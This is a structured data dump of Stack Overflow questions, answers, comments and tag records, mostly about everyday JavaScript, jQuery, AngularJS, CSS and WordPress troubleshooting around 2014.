has text: Could you clarify what you mean by code? Where you have written XML, would you like to have some form of multi-select to choose the markup?

http://stackoverflow.com/q/25755939
tagged with: arrays
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25757311
answer count: 2
accepted answer: http://stackoverflow.com/a/25756212
has title: AngularJS: How to create a model which holds an array for a dynamic list of input fields?
tagged with: angularjs
type: AnsweredQuestion
score: 0
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/25756212
has body: I have quite an interesting question (I hope) for all you AngularJS gurus out there. I am looking to create a dynamic list of form input fields based on a SELECT dropdown. As an example, we have a number of categories with each category having a set of specifications which are unique to that category. To help with the explanation we have the following: Firstly, in the controller we start by initializing the models. $scope.category = {}; $scope.category.specs = []; Next we ready the data to be used in the form (actually retrieved from the server via $http). We also initialize a variable to the first element in the categories array. $scope.categories = [ { "id": "1", "name": "mobile", specs: [ { "id": "1", "label": "Operating System" }, { "id": "2", "label": "Camera type" } ] }, { "id": "2", "name": "laptop", specs: [ { "id": "1", "label": "Operating System" }, { "id": "2", "label": "Graphics Card" } ] } }; $scope.selectedCategory = $scope.categories[0]; In the form, we have a dropdown which when selected loads the appropriate input fields specific to that category. We use the ngRepeat directive to accomplish this. This is a dynamic list of fields based on $scope.categories.specs. (please note the ???) &lt;select ng-model="selectedCategory" ng-options="category.name for category in categories"&gt;&lt;/select&gt; &lt;div ng-repeat="spec in selectedCategory.specs"&gt; &lt;label&gt;{{spec.label}}&lt;/label&gt; &lt;input type="text" ng-model="???"&gt; &lt;/div&gt; Ultimately, when the user clicks the submit button, we would like to extract the category he/she has selected and then package it together with the specifications they have filled in. The post request should contain something like the following for instance (of course, I only included one spec item, but in reality there would be many): { "id": "1", specs [ { "id": "2", "details": "RADEON HD 8970M" } ] } Unfortunately I am not really sure how to accomplish this. I need to somehow create an array for the spec mode…
has answer: http://stackoverflow.com/a/25757311
type: Question

http://stackoverflow.com/a/25772396
type: Answer
has body: As per caption demo You can add a simple, default caption by including an empty div in your slideshow container with the class cycle-caption You are using a class called caption instead of cycle-caption as per documentation.
answers question: http://stackoverflow.com/q/25772120
score: 0

http://stackoverflow.com/a/25818842
score: 0
has body: have you tried $elm.html() That should give you the HTML of that element as a string. http://api.jquery.com/html/
type: Answer
has comment: http://stackoverflow.com/comment/40427108
answers question: http://stackoverflow.com/q/25818689

http://stackoverflow.com/comment/40420252
type: AnswerComment
has text: require_once should generate an error in your php error log. What does the error say? It might indicate where its trying to locate the file.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25835212

http://stackoverflow.com/q/25777281
tagged with: css
has comment: http://stackoverflow.com/comment/40314461
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40314369
has body: I'm trying to figure out how to prevent an HTML template I'm editing from enlarging the top navigation bar when scrolling back to the top. I have been trying for a long while to pinpoint with Firebug where exactly I need to change something in the js or css, but I cannot seem to be able to put my finger on it. Any help would be much appreciated, thanks!
has comment: http://stackoverflow.com/comment/40314282
has comment: http://stackoverflow.com/comment/40314278
has answer: http://stackoverflow.com/a/25777384
type: Question
tagged with: javascript
score: 0
has title: Preventing function when scrolling to top of page
tagged with: http://stackoverflow.com/tag/html
answer count: 1

http://stackoverflow.com/a/25854874
has body: Use name="setPayDayDate" instead-of/in-addition-to the id="" on your form inputs.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25854378

http://stackoverflow.com/q/25768993
tagged with: javascript
tagged with: jquery-isotope
tagged with: jquery
has comment: http://stackoverflow.com/comment/40298828
type: Question
has body: Let's use this codepen for example: http://codepen.io/desandro/pen/nFrte What if I wanted to hide the filtering options by toggling an .active class (that would display: block, vs display:none as default styling)? When I do this on my own, the accordion is behind the isotope masonry layout. I would like the isotope masonry part to bump down. I've tried: $container.isotope('reloadItems').isotope('layout'); After I toggle the class. Thanks.
score: 0
has comment: http://stackoverflow.com/comment/42028948
type: UnansweredQuestion
has title: How can I hide filter options in an accordion?
answer count: 0

http://stackoverflow.com/q/25741075
tagged with: css
has body: I have a problem with position of submenu, when I open page submenu is positioned well but problem is when I scroll page and than try to open submenu it is out of position. live demo .has-sub.parent .wrapper { position: fixed; z-index:500; } I know that this problem is caused by use of position:fixed but if I try to change that than submenu is shown behind content div, I tried to fix that with z-index, but it didn't help, any suggestion would be great.
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25741568
tagged with: javascript
score: 0
answer count: 2
has title: Submenu go away from menu when scroll page
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25741568
possible better answer: http://stackoverflow.com/a/25741974
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25741974

code-translation
tags question: http://stackoverflow.com/q/25840770
tag name: code-translation
type: Tag

http://stackoverflow.com/comment/40445247
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25849412
has text: As there is no specific problem in the strictest sense, the question might be more suitable for code review.

http://stackoverflow.com/comment/40374144
type: Comment
type: QuestionComment
has text: Does it reload before, or after the method? What I mean is, does it go through the conn.readystate == 4? or just right when it hits the line?
comment on: http://stackoverflow.com/q/25810778
score: 0

http://stackoverflow.com/comment/40310033
type: Comment
has text: Just look for one that has the type attribute set to `"password"`.
type: AnswerComment
comment on: http://stackoverflow.com/a/25775000
score: 0

http://stackoverflow.com/comment/40225502
type: Comment
type: QuestionComment
has text: @Ohgodwhy this question is confusing, because if your solutions works, why can't he just uses classes?
score: 0
comment on: http://stackoverflow.com/q/25729423

http://stackoverflow.com/q/25761856
accepted answer: http://stackoverflow.com/a/25762472
has answer: http://stackoverflow.com/a/25761895
has body: I have dataArr = ["1","Maths","2","Science"]; I need to display the values 1,2(S.No) in the first column and the (Subject name) Maths,Science in the second column of a dynamic table. Any way to do this using jquery/javascript? Sample table code: $("#subjectTable").append(" "+OddpositionVal+" "+EvenpositionVal+" ");
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/25761980
score: 1
type: Question
tagged with: html-table
has comment: http://stackoverflow.com/comment/40285723
tagged with: arrays
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25762483
possible better answer: http://stackoverflow.com/a/25761980
upvote count: 1
has answer: http://stackoverflow.com/a/25762421
favorite count: 0
has title: How to get odd/even value from array and display in table using Javascript
answer count: 5
has answer: http://stackoverflow.com/a/25762472

http://stackoverflow.com/comment/40271301
type: Comment
comment on: http://stackoverflow.com/q/25753708
has text: [weinre](https://github.com/apache/cordova-weinre) is not the easiest thing to set up and use but it's better than nothing
score: 1
type: QuestionComment

http://stackoverflow.com/q/25768829
upvote count: 6
tagged with: javascript
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/70181304
downvote count: 0
answer count: 0
type: UnansweredQuestion
score: 6
has body: I've got a html5 video element and are trying to perform frame by frame stepping. The test video I'm using is 2 frames(83ms) long and 24fps. Playing the video works as expected, but when trying to specify the currentTime attribute to access frame 1 it does not work in Chrome. Does anyone now what the precision of currentTime is in Chrome? If the same operation is performed in Safari/Firefox it works as expected.
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/70179624
tagged with: video
has comment: http://stackoverflow.com/comment/70182236
type: Question
has title: HTML5 Video currentTime precision in Chrome

http://stackoverflow.com/comment/40389211
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25818347
has text: @imtheman right you are el.appendTo(intro.find('ul')).hide() should work. Correcting my answer

http://stackoverflow.com/comment/40489010
comment on: http://stackoverflow.com/q/25873029
type: Comment
has text: @TrueBlueAussie: You can decorate a model property with [`[AllowHtml]`](http://msdn.microsoft.com/en-us/library/system.web.mvc.allowhtmlattribute.aspx) to help bypass the security warnings.
score: 0
type: QuestionComment

http://stackoverflow.com/a/25851042
downvote count: 0
has comment: http://stackoverflow.com/comment/40448907
has comment: http://stackoverflow.com/comment/40449717
has comment: http://stackoverflow.com/comment/40448311
has comment: http://stackoverflow.com/comment/40451713
has comment: http://stackoverflow.com/comment/40449944
type: Answer
has body: U can simply add class like .hovered to current button like HTML: CONTACTO CSS: .hovered { background-color: #0033ff; } UPD: Fiddle UPD2: For page changing U simply can add and remove class on `click' like: $('nav ul a').on('click', function(){ $('nav ul a li.hovered').removeClass('hovered'); $(this).children('li').addClass('hovered'); }) Fiddle2
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40448219
has comment: http://stackoverflow.com/comment/40450280
has comment: http://stackoverflow.com/comment/40449131
has comment: http://stackoverflow.com/comment/40450537
accepted answer of: http://stackoverflow.com/q/25850972
answers question: http://stackoverflow.com/q/25850972
has comment: http://stackoverflow.com/comment/40448235
has comment: http://stackoverflow.com/comment/40448416
has comment: http://stackoverflow.com/comment/40451008
type: AcceptedAnswer

http://stackoverflow.com/a/25785445
downvote count: 0
has body: I used the code below to display a webpage only once and ask the visitor to submit their details. If the details are submitted once, from next time the page redirects to another page. &lt;script&gt; go_to = "kwd.php"; num_days = 180; function ged(noDays){ var today = new Date(); var expr = new Date(today.getTime() + noDays*24*60*60*1000); return expr.toGMTString(); } function readCookie(cookieName){ var start = document.cookie.indexOf(cookieName); if (start != -1){ window.location = go_to; } } function createcookie() { document.cookie = "seenit=yes; expires=" + ged(num_days); } readCookie("seenit"); &lt;/script&gt;
accepted answer of: http://stackoverflow.com/q/25784780
score: 1
answers question: http://stackoverflow.com/q/25784780
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/25774915
has comment: http://stackoverflow.com/comment/40311734
has comment: http://stackoverflow.com/comment/40312051
upvote count: 1
answers question: http://stackoverflow.com/q/25774035
has body: How about an alternative approach? We could toggle 'canToggle' in arrayController directly from the object controller by either using parentController or specifying needs. Avoids having to observer all the itemControllers which should be more efficient too. TODOS CONTROLLER: import Ember from 'ember'; export default Ember.ArrayController.extend({ /** * references the todo model that is currently being edited */ editingTodo: null, canToggle: Ember.computed.notEmpty('editingTodo'), actions: { createTodo: function () { var title = this.get('newTitle'); if (!title.trim()) { return; } var todo = this.store.createRecord('todo', { title: title, isCompleted: false, isEditing: false }); this.set('newTitle', ''); todo.save(); } } }); TODO CONTROLLER import Ember from 'ember'; export default Ember.ObjectController.extend({ needs:['todos'] todos : Ember.computed.alias('controllers.todos'), actions: { editTodo: function () { this.set('todos.editingTodo', this.get('model')); }, removeTodo: function () { var todo = this.get('model'); if (this.get('todos.editingTodo') === todo) { this.set('todos.editingTodo', null); } todo.deleteRecord(); todo.save(); }, acceptChanges: function () { this.set('todos.editingTodo', null); if (Ember.isEmpty(this.get('model.title'))) { this.send('removeTodo'); } else { this.get('model').save(); } } }, isCompleted: function (key, value) { var model = this.get('model'); if (value === undefined) { return model.get('isCompleted'); } else { model.set('isCompleted', value); model.save(); return value; } }.property('model.isCompleted') }); I have not tested it, but I hope you get the jist of the solution I am proposing.
has comment: http://stackoverflow.com/comment/40311784
score: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40310675
type: Answer

identifier
tag name: identifier
type: Tag
tags question: http://stackoverflow.com/q/25777175
tags question: http://stackoverflow.com/q/25851886

http://stackoverflow.com/q/25813217
type: AnsweredQuestion
has body: I've got a script that changes some CSS on scroll and it currently uses a hex value for a color. I need to switch the #ffffff to rgba(255, 255, 255, 0.6) I think the .6 messes up the syntax but I don't know how to make it right. var $mainlogo = jQuery('#mainlogo'); var $menuback = jQuery('.x-navbar'); jQuery(document).scroll(function() { $mainlogo.css({display: jQuery(this).scrollTop()&gt;170 ? "block":"none"}); $menuback.css({background: jQuery(this).scrollTop()&gt;170 ? "#ffffff":"none"}); });
has title: RGB transparent color value in Javascript
tagged with: syntax
score: 0
accepted answer: http://stackoverflow.com/a/25813399
type: Question
tagged with: javascript
answer count: 1
has answer: http://stackoverflow.com/a/25813399
has comment: http://stackoverflow.com/comment/40379414
tagged with: css

http://stackoverflow.com/a/25779712
upvote count: 2
answers question: http://stackoverflow.com/q/25779676
has comment: http://stackoverflow.com/comment/40318547
has comment: http://stackoverflow.com/comment/40318420
type: Answer
has body: You defined wordExists as a local variable on line 9 var wordExists = false; Take out var from the above
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40320324

http://stackoverflow.com/comment/40392796
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25820027
type: AnswerComment
has text: But function not have ID

http://stackoverflow.com/q/25745159
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40255036
possible better answer: http://stackoverflow.com/a/25745679
has comment: http://stackoverflow.com/comment/40254900
type: Question
has comment: http://stackoverflow.com/comment/40255073
tagged with: javascript
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40255310
has comment: http://stackoverflow.com/comment/40255511
tagged with: jquery
has answer: http://stackoverflow.com/a/25745384
accepted answer: http://stackoverflow.com/a/25745384
has body: I had set of array had been push and display correctly.now i want to delete from the table locally .sorry if my logic is wrong.Am new to javascript and jquery.correct my code it useful to learn from u all here my code: function deleteowner(val) { alert("val number=====&gt;"+val); var deletevalue = JSON.parse(document.getElementById('rowdel' + val).innerHTML); alert("val==&gt; "+JSON.stringify(deletevalue)); if(deletevalue==val){ deletevalue.splice(val,1); } } Refer my code
has title: how to delete array value from table in jquery
has comment: http://stackoverflow.com/comment/40255899
has answer: http://stackoverflow.com/a/25745679

http://stackoverflow.com/q/25724654
score: 0
answer count: 1
has body: How can I change out of a custom bindingHandler(fadeVisible) the value of another binding (isFadingIn). Best explained with an example. &lt;div data-binding="fadeVisible: isVisible; fadingIn: isFadingIn; animationDuration: 500"&gt;...&lt;/div&gt; ko.bindingHandlers.fadeVisible = { init: function(element, valueAccessor, allBindings, viewModel, bindingContext) { // Initially set the element to be instantly visible/hidden depending on the value var value = valueAccessor(); $(element).toggle(ko.unwrap(value)); // Use "unwrapObservable" so we can handle values that may or may not be observable }, update: function(element, valueAccessor, allBindings, viewModel, bindingContext) { // Whenever the value subsequently changes, slowly fade the element in or out var duration = allBindings.get('animationDuration') || 400; //vvvvvvvvv here allBindings.get('fadingIn') = true; var value = valueAccessor(); ko.unwrap(value) ? $(element).fadeIn(duration).then(function () { //vvvvvvvvv here allBindings.get('fadingIn') = false; }) : $(element).fadeOut(duration).then(function () { //vvvvvvvvv here allBindings.get('fadingIn') = false; }); } }; Edit: changed Parameters (element, valueAccessor) to (element, valueAccessor, allBindings, viewModel, bindingContext)
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25724895
tagged with: knockout.js
accepted answer: http://stackoverflow.com/a/25724895
type: Question
has title: Change another binding out of a custom bindingHandler
tagged with: javascript

http://stackoverflow.com/q/25754346
has title: "Add media" button not working after upgrade to Wordpress 3.9
has body: An automatic upgrade to Wordpress 3.9 broke the "Add media" functionality for posts on our client's site...when you click "Add media", it wasn't showing any of the photos in the media library (just had a blank area where the photos should be), even though those photos are still there when you go to the Media Library via the "Media" menu item in the main navigation. Since then, I have tried upgrading to Wordpress 3.9.2, disabling all plugins, and setting the theme to the default TwentyTen theme. The issue still remains, and the only difference after all of that is that the upgrade to Wordpress 3.9.2 (from an earlier 3.9 version) seems to have caused a spinning icon to appear in the area where the photos should load, but it just spins forever and the photos never load. I looked at the AJAX calls in Chrome Developer Tools and found that the admin_ajax.php call is actually returning the correct data, including all the correct image paths, so that's not the problem...I'm thinking there must be some Javascript-related issue that's causing the images not to appear. Debugging this further, I found the initialize() function of media.controller.GalleryAdd, which is a standard Wordpress file at wp-includes/js/media-views.js. I added the console.log() function to see what was going on: initialize: function() { // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { console.log('media.query result', media.query({ type: 'image' }) ) this.set( 'library', media.query({ type: 'image' }) ); } media.controller.Library.prototype.initialize.apply( this, arguments ); } Wordpress uses Backbone.js, and although I don't know Backbone, I found what looks like a problem here...the media.query() result has a length of 0 and its models array is empty. I am trying to debug further to find the source of the problem, but I'm not all that familiar with the Wordpress source code and as I mentioned I'm not familiar with Backbone either, and it would be nice to…
possible better answer: http://stackoverflow.com/a/29881575
has answer: http://stackoverflow.com/a/29881575
accepted answer: http://stackoverflow.com/a/25774187
has comment: http://stackoverflow.com/comment/40274527
tagged with: javascript
has comment: http://stackoverflow.com/comment/40308128
has comment: http://stackoverflow.com/comment/40291375
type: AnsweredQuestion
tagged with: backbone.js
type: Question
has comment: http://stackoverflow.com/comment/40346401
answer count: 2
has answer: http://stackoverflow.com/a/25774187
has comment: http://stackoverflow.com/comment/40279647
has comment: http://stackoverflow.com/comment/40316012
tagged with: php
score: 0
has comment: http://stackoverflow.com/comment/40276951
tagged with: wordpress

http://stackoverflow.com/q/25858125
has comment: http://stackoverflow.com/comment/40462917
tagged with: memory
downvote count: 0
tagged with: javascript
score: 1
has body: I'm working on a 3D game that's built in JavaScript (on top of THREE.js, among other things). We've reached the point of profiling to get our framerate up, and seem to be memory bound. When I use the JavaScript console in Chrome (ctrl-shift-j), and use that to profile my memory usage, it shows that there are about 200 MB in heap allocations - which would be just fine. However, when I hit shift-ESC or go to chrome://memory-internals, it reports that I'm using about 1.34 GB of memory, and another 814 MB on the GPU. To be clear, I don't seem to be leaking memory (my footprint is stable), I'm just using a lot of it, and I want to know where it's allocated so I can know where to optimize. So... obviously, optimizing for what's on the heap isn't going to help me, since it's only about 10% of my memory usage. How can I get a handle on where all the rest of that memory is being allocated so that I can trim it down to size (besides taking shots in the dark, of course)?
favorite count: 0
has title: where's the memory going in my JavaScript app?
tagged with: memory-management
answer count: 0
type: UnansweredQuestion
upvote count: 1
type: Question

http://stackoverflow.com/q/25810051
answer count: 2
linked to: http://stackoverflow.com/q/39312451
downvote count: 0
possible better answer: http://stackoverflow.com/a/49620729
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25813769
has answer: http://stackoverflow.com/a/49620729
favorite count: 0
score: 50
tagged with: http://stackoverflow.com/tag/html
upvote count: 50
has title: filereader api on big files
linked to: http://stackoverflow.com/q/39479090
has comment: http://stackoverflow.com/comment/97478163
tagged with: filereader
has body: My file reader api code has been working good so far until one day I got a 280MB txt file from one of my client. Page just crashes straight up in Chrome and in Firefox nothing happens. // create new reader object var fileReader = new FileReader(); // read the file as text fileReader.readAsText( $files[i] ); fileReader.onload = function(e) { // read all the information about the file // do sanity checks here etc... $timeout( function() { // var fileContent = e.target.result; // get the first line var firstLine = e.target.result.slice(0, e.target.result.indexOf("\n") ); }} What I am trying to do above is that get the first line break so that I can get the column length of the file. Should I not read it as text ? How can I get the column length of the file without breaking the page on big files?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25813769
type: Question

http://stackoverflow.com/comment/40253748
type: AnswerComment
has text: http://plnkr.co/edit/36URWAIqKvxqV1yuvULh?p=preview when I write 1 it give error why
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25744368

http://stackoverflow.com/q/25781272
tagged with: arrays
tagged with: javascript
has answer: http://stackoverflow.com/a/25781651
score: 0
possible better answer: http://stackoverflow.com/a/25781398
has answer: http://stackoverflow.com/a/25781398
accepted answer: http://stackoverflow.com/a/25781651
type: Question
has title: Work with 2d array in javascript
type: AnsweredQuestion
has body: I create 2d array with random number Now i wont write function that create table with delete button in all rows. And function that delete row from array and redraw the table. Try like this, but not working delete row on button click html body
has answer: http://stackoverflow.com/a/25783113
answer count: 3

http://stackoverflow.com/q/25867825
has answer: http://stackoverflow.com/a/30742485
score: 0
answer count: 1
has title: Javascript Object Model On SharePoint 2013 Not Loading
tagged with: javascript
type: UnansweredQuestion
has body: I have a common error on JSOM SharePoint 2013. I have a function below function getTasks() { var context = new SP.ClientContext(appWebUrl); var web = context.get_web(); context.load(web); var splist = web.get_lists().getByTitle("Gorevler"); var taskQuery = new SP.CamlQuery(); taskQuery.set_viewXml(" " + " <FieldRef Name='AssignedTo' LookupId='True' /> " + currentUserId + " " + " <FieldRef Name='Title' /><FieldRef Name='AssignedTo' /><FieldRef Name='StartDate' /><FieldRef Name='DueDate' /> "); var taskQueryItems = splist.getItems(taskQuery); context.load(taskQueryItems); context.executeQueryAsync( Function.createDelegate(this, successHandler), Function.createDelegate(this, errorHandler) ); function successHandler() { var taskAdet = taskQueryItems.get_count(); alert("Adet : " + taskAdet); } function errorHandler(sender, args) { alert("Hata"); } When I re-run the code above it gives me : "The collection has not been initialized. It has not been requested or the request has not been executed. It may need to be explicitly requested." Why I have to refresh the page to get successfull results? Is there a way to get right result on every execution? Thanks
tagged with: sharepoint-2013
type: Question
tagged with: csom

http://stackoverflow.com/comment/40426304
type: AnswerComment
has text: The matching source will not be static as the images could be any combination of the four. Just checking to see if they all are the same and if so I will have it perform another action. Also trying to use only javascript. Thank you for your suggestion!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25838767

http://stackoverflow.com/q/25769258
has answer: http://stackoverflow.com/a/25775169
has comment: http://stackoverflow.com/comment/40318754
has comment: http://stackoverflow.com/comment/40309329
has comment: http://stackoverflow.com/comment/40299173
tagged with: web-applications
type: Question
has comment: http://stackoverflow.com/comment/40299528
has body: I see this strange behavior (or may be I am missing something). I have WebSphere 8.5. Deployed a EAR. Its working fine. Instead of repacking and deploying every time for small change, I just copy the js and CSS files directly to the Websphere exploded folder and overwrite the existing files. I see the changes are getting reflected. I just updated a JS file and added a couple jQuery functions and copied the file like above. Now when I refresh the page, I see the updated code (which is somewhere in the middle of the file). however the js file is not loading fully in all 3 browsers (IE8, Chrome and FF latest). It's getting cut off in the last 10 lines are so. The file has 1784 lines. Not sure if there is a size limit on the browser side or WebSphere is tinkering with it or something else is going on. Any idea? I did check the js file I copied to Exploded WebSphere folder. It has complete code. Note that the page has a few more JS files (jQuery and other files) in addition to this one. Edit: I think WebSphere is keeping the size of the file somewhere (maybe?) and sending only that size every time, unless there is clean deploy or restart (?). I removed a few lines of updated code. Now the browser loads, exactly that many number of additional lines of code. Once I remove my code completely, it loads the full file. (This is not an issue with the code though). Is there a caching that I need to clear in WebSphere?
has comment: http://stackoverflow.com/comment/40307424
has comment: http://stackoverflow.com/comment/40308051
tagged with: javascript
has title: JavaScript file is not loading fully in all browsers
has comment: http://stackoverflow.com/comment/40300167
has comment: http://stackoverflow.com/comment/40307318
tagged with: browser
score: 0
tagged with: websphere
has comment: http://stackoverflow.com/comment/40307465
has comment: http://stackoverflow.com/comment/40307495
answer count: 1
tagged with: load
has comment: http://stackoverflow.com/comment/40309380
has comment: http://stackoverflow.com/comment/40300148
has comment: http://stackoverflow.com/comment/40299258
has comment: http://stackoverflow.com/comment/40299408
has comment: http://stackoverflow.com/comment/40309255
has comment: http://stackoverflow.com/comment/40299777
type: UnansweredQuestion

http://stackoverflow.com/q/25722116
score: 0
type: UnansweredQuestion
tagged with: requirejs
tagged with: unit-testing
type: Question
has answer: http://stackoverflow.com/a/25722481
has title: How do I set a RequireJS context recursively
answer count: 1
tagged with: javascript
has body: I'm trying to add Jasmine tests to my Marionette application by creating a specific context for each test containing a map that substitutes all dependencies with mocks except for the module being tested (as described here: http://bocoup.com/weblog/effective-unit-testing-with-amd/). mockRequire = requirejs.config({ map: { '*': { 'dep1': '../mocks/dep1' } } }); mockRequire(['appTest'], function(){...}) However since my module appTest has a nested call to require the context is lost: //appTest.js define([], function () { ... require(['dep1'], function (dep1) { //Here is not the mocked dep1 but the real one. }) } ); So the question is how I can tell requirejs to use the same context for all child calls to require/define or if there are any other ways to solve this.

http://stackoverflow.com/comment/40329584
comment on: http://stackoverflow.com/q/25786293
type: Comment
type: QuestionComment
score: 1
has text: Your code is rather mangled. You have a statement after your `if` and then braces. I won't try and fix your code but you should look carefully at that line. Do you do you mean `if (j!=0) {temp=temp +' + '; temp +=arrn[i]*Math.pow(10,j); }`? If not, why are the braces there?

http://stackoverflow.com/comment/40260871
has text: Here I've done what I think is right, here is a fiddle: http://jsfiddle.net/zLqb1tyo/
comment on: http://stackoverflow.com/a/25748017
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/51685282
has text: @user3995789 That's not how this works. The OP wants an answer for something that you haven't provided, as do I. There's more to SO than reputation, please respect that.
type: AnswerComment
comment on: http://stackoverflow.com/a/25844207
type: Comment
score: 0

http://stackoverflow.com/a/25869493
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25869111
answers question: http://stackoverflow.com/q/25869111
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
has body: Try this code, Demo $("editable").addEvent('keypress', function (e) { var element = this; if ((element.offsetHeight &lt; element.scrollHeight) || (element.offsetWidth &lt; element.scrollWidth)) { e.stop(); } });

http://stackoverflow.com/comment/40334080
comment on: http://stackoverflow.com/a/25782268
score: 0
type: AnswerComment
has text: I am sorry if you felt like that . I was not trying make anybody work . I was just looking for solution to convert the ai file to png which so far I did not get in Google
type: Comment

http://stackoverflow.com/comment/40303839
has text: Have you considered using a template library like Knockout to build dynamic views? It's worth checking out: http://knockoutjs.com/
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25771898

http://stackoverflow.com/a/25850715
has body: Splice is not supproted in HTMLCollection, you need to use .removeChild and .insertBefore something like this: var before = td.children[curr_index + direction]; var child = td.children[curr_index]; td.removeChild(child); td.insertBefore(child, before); //attempt to insert it
score: 5
downvote count: 0
has comment: http://stackoverflow.com/comment/40448343
answers question: http://stackoverflow.com/q/25850389
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/40448224

http://stackoverflow.com/a/26015801
score: 0
has body: Turns out that the cordova plugin I use doesn't actually do anything with the metadata I stored in the mediaInfo object. It can be a bit confusing that it mimics the Chrome API so well that you forget it's actually using the Android API to communicate with the chromecast. So I guess I'll fork that project and try to fix it myself. Thanks for all the replies and such.
type: Answer
answers question: http://stackoverflow.com/q/25823031

http://stackoverflow.com/comment/40261622
has text: Well, WebRTC was not designed that way and I have never heard of a project demanding the MediaStream object be passed between the peers...Interesting I suppose.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25739457
score: 0

http://stackoverflow.com/q/25862006
score: 0
linked to: http://stackoverflow.com/q/10803176
answer count: 1
has comment: http://stackoverflow.com/comment/40468515
type: UnansweredQuestion
tagged with: fragment-shader
tagged with: http://stackoverflow.com/tag/html
tagged with: webgl
type: Question
tagged with: javascript
has body: I am trying to generate random colors in my fragment shader, but I'm running into compiler errors. Here is my code: Here is the error I am getting: Fragment shader failed to compile. The error log is: ERROR: 0:8: 'Math' : undeclared identifier ERROR: 0:8: '' : methods are not supported ERROR: 0:8: 'random' : no matching overloaded function found I am new to HMTL, WebGL, and Javascript and I'm not sure what is breaking and why. Why am I unable to use Math.random?
has answer: http://stackoverflow.com/a/25871364
has title: Math.random() undeclared identifier

http://stackoverflow.com/q/25833256
tagged with: ajax
has comment: http://stackoverflow.com/comment/40441579
possible better answer: http://stackoverflow.com/a/25833306
has title: Calling ajax to know credits
has body: Before one of my users realize an action, I need to know how many credits they have to see if they can do the action or not. I do this using an ajax call, something like this: jQuery.ajax({url: 'getCredit.php', type: 'POST', }) .done(function( data) { if (data.credit &gt;= 1) { do the action } }); My question is: Can't my users "cheat" changing the var (data.credit) to be always >1 with chrome console, or firebug? What's the best way to ask for their credit? EDIT: I have a form, and I want to check the credit when they click the submit button, so the form won't send if they have not enough credit to do it. I think this clarify it a bit. Thanks.
has answer: http://stackoverflow.com/a/25833306
has comment: http://stackoverflow.com/comment/40424870
has answer: http://stackoverflow.com/a/25833308
has comment: http://stackoverflow.com/comment/40415743
tagged with: php
answer count: 4
has answer: http://stackoverflow.com/a/25833703
score: 1
upvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40416315
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25833703
type: Question
has comment: http://stackoverflow.com/comment/40415723
downvote count: 0
has answer: http://stackoverflow.com/a/25833352
tagged with: jquery
favorite count: 0

http://stackoverflow.com/a/25864590
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/25864505
has body: To share resources across two controllers, you can always use a service or a factory. You may also do it by defining a global variable, but that is NOT encouraged. To declare a factory: var app = angular.module('app',[]) .factory('appSvc',[function(){ var resources = {}; return resources; }]); note that you can declare re-usable functions inside a factory. With your factory declared, remember to inject it properly into your controllers who needs it. app.controller('appCtrl',['appSvc',function(appSvc){ //do something with your appSvc }]); Here is a very simple plnkr to show how service/factory is used to get and set data. For in-depth documentation: AngularJs Service
type: Answer
upvote count: 3

http://stackoverflow.com/comment/40455915
comment on: http://stackoverflow.com/a/25855166
type: Comment
has text: Sorry typo - not needed (cut & paste from your original) :)
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40224743
type: Comment
has text: if using jsfiddle, choose no -wrap from the left panel
comment on: http://stackoverflow.com/q/25728502
score: 0
type: QuestionComment

http://stackoverflow.com/comment/94706321
comment on: http://stackoverflow.com/a/52832879
type: Comment
score: 0
type: AnswerComment
has text: " Moreover it doesn't make the difference between back and forward button, which is very unfortunate. " yes because whenever data is fetched from cache that time the performance.navigation.type is 2

http://stackoverflow.com/comment/40370858
type: QuestionComment
has text: There's nothing wrong with that code: http://jsfiddle.net/Lf0yxbmp/. So look at the referenced file and make sure it hasn't been corrupted, perhaps get latest version, or copy it down again and retry.
comment on: http://stackoverflow.com/q/25792123
score: 0
type: Comment

http://stackoverflow.com/q/25822124
type: Question
has answer: http://stackoverflow.com/a/60074642
tagged with: arrays
